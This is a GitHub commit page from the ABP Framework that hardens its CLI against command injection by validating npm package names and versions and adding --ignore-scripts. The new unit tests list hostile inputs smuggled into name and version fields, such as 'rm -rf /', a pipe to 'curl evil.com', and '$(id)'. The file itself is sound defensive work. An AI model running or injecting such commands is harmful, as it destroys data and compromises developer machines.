Skip to content

Commit f616cee

Browse files
ebicogluebicoglu
authored
Merge pull request #25210 from abpframework/cli/sanitize-package-json-scripts
Sanitize package.json and prevent command injection in ABP CLI
2 parents d47e1a0 + 7cfa641 commit f616cee

4 files changed

Lines changed: 145 additions & 15 deletions

File tree

‎framework/src/Volo.Abp.Cli.Core/Volo/Abp/Cli/ProjectModification/NpmPackagesUpdater.cs‎

Lines changed: 29 additions & 9 deletions
Original file line numberDiff line numberDiff line change
@@ -359,18 +359,38 @@ protected virtual List<JProperty> GetAbpPackagesFromPackageJson(JObject fileObje
359359

360360
var properties = dependencies.Properties().ToList();
361361

362-
abpPackages
363-
.AddRange(
364-
properties.Where(
365-
p => p.Name.StartsWith("@abp/")
366-
|| p.Name.StartsWith("@volo/")
367-
|| p.Name.StartsWith("@volosoft/")).ToList()
368-
);
362+
foreach (var p in properties.Where(
363+
p => p.Name.StartsWith("@abp/")
364+
|| p.Name.StartsWith("@volo/")
365+
|| p.Name.StartsWith("@volosoft/")))
366+
{
367+
if (IsValidNpmPackageName(p.Name))
368+
{
369+
abpPackages.Add(p);
370+
}
371+
else
372+
{
373+
Logger.LogWarning($"Skipping invalid npm package name: {NpmHelper.SanitizeForLog(p.Name)}");
374+
}
375+
}
369376
}
370377

371378
return abpPackages;
372379
}
373380

381+
public static bool IsValidNpmPackageName(string packageName)
382+
{
383+
try
384+
{
385+
NpmHelper.EnsureSafePackageName(packageName);
386+
return true;
387+
}
388+
catch (CliUsageException)
389+
{
390+
return false;
391+
}
392+
}
393+
374394
protected virtual async Task RunInstallLibsAsync(string fileDirectory)
375395
{
376396
Logger.LogInformation("Installing client-side packages...");
@@ -380,13 +400,13 @@ protected virtual async Task RunInstallLibsAsync(string fileDirectory)
380400
protected virtual void RunYarn(string fileDirectory)
381401
{
382402
Logger.LogInformation($"Running Yarn on {fileDirectory}");
383-
CmdHelper.RunCmd($"npx yarn", fileDirectory);
403+
CmdHelper.RunCmd($"npx yarn --ignore-scripts", fileDirectory);
384404
}
385405

386406
protected virtual void RunNpmInstall(string fileDirectory)
387407
{
388408
Logger.LogInformation($"Running npm install on {fileDirectory}");
389-
CmdHelper.RunCmd($"npm install", fileDirectory);
409+
CmdHelper.RunCmd($"npm install --ignore-scripts", fileDirectory);
390410
}
391411

392412
protected virtual List<string> GetPackageVersionList(JProperty package, string workingDirectory = null)

‎framework/src/Volo.Abp.Cli.Core/Volo/Abp/Cli/ProjectModification/ProjectNpmPackageAdder.cs‎

Lines changed: 9 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -72,6 +72,9 @@ public async Task AddNpmPackageAsync(string directory, NpmPackageInfo npmPackage
7272
return;
7373
}
7474

75+
NpmHelper.EnsureSafePackageName(npmPackage.Name);
76+
NpmHelper.EnsureSafeVersion(version);
77+
7578
Logger.LogInformation($"Installing '{npmPackage.Name}' package to the project '{packageJsonFilePath}'...");
7679

7780
if (!File.ReadAllText(packageJsonFilePath).Contains($"\"{npmPackage.Name}\""))
@@ -81,7 +84,7 @@ public async Task AddNpmPackageAsync(string directory, NpmPackageInfo npmPackage
8184
using (DirectoryHelper.ChangeCurrentDirectory(directory))
8285
{
8386
Logger.LogInformation("yarn add " + npmPackage.Name + versionPostfix);
84-
CmdHelper.RunCmd("npx yarn add " + npmPackage.Name + versionPostfix);
87+
CmdHelper.RunCmd("npx yarn add " + npmPackage.Name + versionPostfix + " --ignore-scripts");
8588
}
8689
}
8790
else
@@ -130,6 +133,8 @@ await SourceCodeDownloadService.DownloadNpmPackageAsync(
130133
public async Task AddMvcPackageAsync(string directory, NpmPackageInfo npmPackage, string version = null,
131134
bool skipInstallingLibs = false)
132135
{
136+
NpmHelper.EnsureSafePackageName(npmPackage.Name);
137+
133138
var packageJsonFilePath = Path.Combine(directory, "package.json");
134139
if (!File.Exists(packageJsonFilePath) ||
135140
File.ReadAllText(packageJsonFilePath).Contains($"\"{npmPackage.Name}\""))
@@ -144,12 +149,14 @@ public async Task AddMvcPackageAsync(string directory, NpmPackageInfo npmPackage
144149
version = DetectAbpVersionOrNull(Path.Combine(directory, "package.json"));
145150
}
146151

152+
NpmHelper.EnsureSafeVersion(version);
153+
147154
var versionPostfix = version != null ? $"@{version}" : string.Empty;
148155

149156
using (DirectoryHelper.ChangeCurrentDirectory(directory))
150157
{
151158
Logger.LogInformation("yarn add " + npmPackage.Name + versionPostfix);
152-
CmdHelper.RunCmd("npx yarn add " + npmPackage.Name + versionPostfix);
159+
CmdHelper.RunCmd("npx yarn add " + npmPackage.Name + versionPostfix + " --ignore-scripts");
153160

154161
if (skipInstallingLibs)
155162
{

‎framework/src/Volo.Abp.Cli.Core/Volo/Abp/Cli/Utils/NpmHelper.cs‎

Lines changed: 43 additions & 4 deletions
Original file line numberDiff line numberDiff line change
@@ -1,6 +1,7 @@
11
using System;
22
using System.Collections.Generic;
33
using System.Linq;
4+
using System.Text.RegularExpressions;
45
using Microsoft.Extensions.Logging;
56
using Microsoft.Extensions.Logging.Abstractions;
67
using NuGet.Versioning;
@@ -53,26 +54,64 @@ public bool IsYarnAvailable()
5354
public void RunNpmInstall(string directory, params string[] args)
5455
{
5556
Logger.LogInformation($"Running npm install on {directory}");
56-
CmdHelper.RunCmd($"npm install {args.JoinAsString(" ")}", directory);
57+
CmdHelper.RunCmd($"npm install --ignore-scripts {args.JoinAsString(" ")}", directory);
5758
}
5859

5960
public void RunYarn(string directory)
6061
{
6162
Logger.LogInformation($"Running Yarn on {directory}");
62-
CmdHelper.RunCmd($"npx yarn", directory);
63+
CmdHelper.RunCmd($"npx yarn --ignore-scripts", directory);
6364
}
6465

6566
[Obsolete("This method is deprecated. Use 'YarnAddPackage' instead (it uses 'npx', so there is no need for 'yarn' to be globally installed.")]
6667
public void NpmInstallPackage(string package, string version, string directory)
6768
{
69+
EnsureSafePackageName(package);
70+
EnsureSafeVersion(version);
6871
var packageVersion = !string.IsNullOrWhiteSpace(version) ? $"@{version}" : string.Empty;
69-
CmdHelper.RunCmd("npm install " + package + packageVersion, workingDirectory: directory);
72+
CmdHelper.RunCmd("npm install --ignore-scripts " + package + packageVersion, workingDirectory: directory);
7073
}
7174

7275
public void YarnAddPackage(string package, string version, string directory)
7376
{
77+
EnsureSafePackageName(package);
78+
EnsureSafeVersion(version);
7479
var packageVersion = !string.IsNullOrWhiteSpace(version) ? $"@{version}" : string.Empty;
75-
CmdHelper.RunCmd("npx yarn add " + package + packageVersion, workingDirectory: directory);
80+
CmdHelper.RunCmd("npx yarn add " + package + packageVersion + " --ignore-scripts", workingDirectory: directory);
81+
}
82+
83+
private static readonly Regex SafePackageNameRegex = new(
84+
@"^(@[a-zA-Z0-9][a-zA-Z0-9._-]*/)?[a-zA-Z0-9][a-zA-Z0-9._-]*$",
85+
RegexOptions.Compiled);
86+
87+
private static readonly Regex SafeVersionRegex = new(
88+
@"^[a-zA-Z0-9._~^+\-]+$",
89+
RegexOptions.Compiled);
90+
91+
public static void EnsureSafePackageName(string packageName)
92+
{
93+
if (string.IsNullOrWhiteSpace(packageName) || !SafePackageNameRegex.IsMatch(packageName))
94+
{
95+
throw new CliUsageException($"Invalid npm package name detected: {SanitizeForLog(packageName)}");
96+
}
97+
}
98+
99+
public static void EnsureSafeVersion(string version)
100+
{
101+
if (!string.IsNullOrWhiteSpace(version) && !SafeVersionRegex.IsMatch(version))
102+
{
103+
throw new CliUsageException($"Invalid npm package version detected: {SanitizeForLog(version)}");
104+
}
105+
}
106+
107+
public static string SanitizeForLog(string value)
108+
{
109+
if (value == null)
110+
{
111+
return "(null)";
112+
}
113+
114+
return Regex.Replace(value, @"[\x00-\x1F\x7F]", "?");
76115
}
77116

78117
public string GetInstalledNpmPackages()

‎framework/test/Volo.Abp.Cli.Core.Tests/Volo/Abp/Cli/ProjectModification/NpmPackagesUpdater_Tests.cs‎

Lines changed: 64 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,64 @@
1+
using Shouldly;
2+
using Volo.Abp.Cli.ProjectModification;
3+
using Volo.Abp.Cli.Utils;
4+
using Xunit;
5+
6+
namespace Volo.Abp.Cli;
7+
8+
public class NpmPackagesUpdater_Tests
9+
{
10+
[Theory]
11+
[InlineData("@abp/ng.core", true)]
12+
[InlineData("@abp/ng.theme.shared", true)]
13+
[InlineData("@abp/ng.components", true)]
14+
[InlineData("@volo/abp.ng.lepton-x.core", true)]
15+
[InlineData("@volo/abp.commercial.ng.ui", true)]
16+
[InlineData("@volosoft/abp.ng.theme.lepton", true)]
17+
[InlineData("@abp/core && calc.exe", false)]
18+
[InlineData("@abp/core; rm -rf /", false)]
19+
[InlineData("@abp/core | curl evil.com", false)]
20+
[InlineData("@abp/core`whoami`", false)]
21+
[InlineData("@abp/core$(id)", false)]
22+
[InlineData("@abp/core\nnewline", false)]
23+
[InlineData("@abp/ space", false)]
24+
[InlineData("@abp/", false)]
25+
[InlineData("@abp/ng core", false)]
26+
[InlineData(null, false)]
27+
[InlineData("", false)]
28+
public void IsValidNpmPackageName(string packageName, bool expected)
29+
{
30+
NpmPackagesUpdater.IsValidNpmPackageName(packageName).ShouldBe(expected);
31+
}
32+
33+
[Theory]
34+
[InlineData("1.0.0", false)]
35+
[InlineData("^8.0.0", false)]
36+
[InlineData("~8.0.0", false)]
37+
[InlineData("8.0.0-preview.1", false)]
38+
[InlineData("8.0.0-preview20260401", false)]
39+
[InlineData("8.0.0+build.123", false)]
40+
[InlineData("latest", false)]
41+
[InlineData("next", false)]
42+
[InlineData(null, false)]
43+
[InlineData("", false)]
44+
[InlineData("1.0.0 && calc.exe", true)]
45+
[InlineData("1.0.0; rm -rf /", true)]
46+
[InlineData("1.0.0 | curl evil.com", true)]
47+
[InlineData("1.0.0`whoami`", true)]
48+
[InlineData("1.0.0$(id)", true)]
49+
[InlineData("1.0.0\nnewline", true)]
50+
[InlineData(">1.0.0", true)]
51+
[InlineData("<2.0.0", true)]
52+
[InlineData("1.0.0|2.0.0", true)]
53+
public void EnsureSafeVersion(string version, bool shouldThrow)
54+
{
55+
if (shouldThrow)
56+
{
57+
Should.Throw<CliUsageException>(() => NpmHelper.EnsureSafeVersion(version));
58+
}
59+
else
60+
{
61+
Should.NotThrow(() => NpmHelper.EnsureSafeVersion(version));
62+
}
63+
}
64+
}

0 commit comments

Comments
 (0)